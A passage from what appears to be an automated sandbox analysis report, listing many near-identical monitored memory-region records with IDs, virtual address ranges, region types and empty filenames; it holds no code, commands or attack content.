entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12074 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12075 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12076 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12077 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12078 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12079 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12080 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12081 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12082 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12083 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12084 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12085 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12086 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12087 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12088 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12089 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12090 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12091 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12092 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12093 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12094 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12095 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12096 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12097 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12098 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12099 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12100 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12101 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12102 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12103 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12104 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12105 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12106 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12107 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12108 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12109 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12110 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12111 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12112 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12113 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12114 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12115 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12116 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12117 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12118 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12119 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12120 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12121 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006b0000" filename = "" Region: id = 12122 start_va = 0x2270000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 12123 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12124 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12125 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12126 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12127 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12128 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12129 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12130 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12131 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12132 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12133 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12134 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12135 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12136 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12137 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12138 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12139 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12140 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12141 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12142 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12143 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12144 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12145 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12146 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12147 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12148 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12149 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12150 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12151 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12152 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12153 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12154 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12155 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12156 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12157 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12158 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12159 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12160 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12161 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12162 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12163 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12164 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12165 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12166 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12167 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12168 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12169 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12170 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12171 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12172 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12173 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12174 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12175 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12176 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12183 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12184 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12185 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12186 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12187 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12188 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12189 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12190 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12191 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12192 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12193 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12194 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12195 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12196 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12197 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12198 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12199 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12200 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12201 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12202 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12203 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12204 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12205 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12206 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12207 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12208 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12209 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12210 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12211 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12212 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12213 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12214 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12215 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12216 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12217 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12218 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12219 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12221 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12222 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12223 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12224 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12225 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12226 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12227 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12228 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12229 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12230 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12231 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12232 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12233 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12234 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12235 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12236 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12237 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12238 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12239 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12240 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12241 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12242 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 12243 start_va = 0x460000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 12244 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 12245 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12246 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12247 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12248 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12249 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12250 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12251 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12252 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12253 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12254 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12255 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12256 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12257 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12258 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12259 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12260 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12261 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12262 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12263 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 12264 start_va = 0x460000 end_va = 0x46ffff monitored = 1 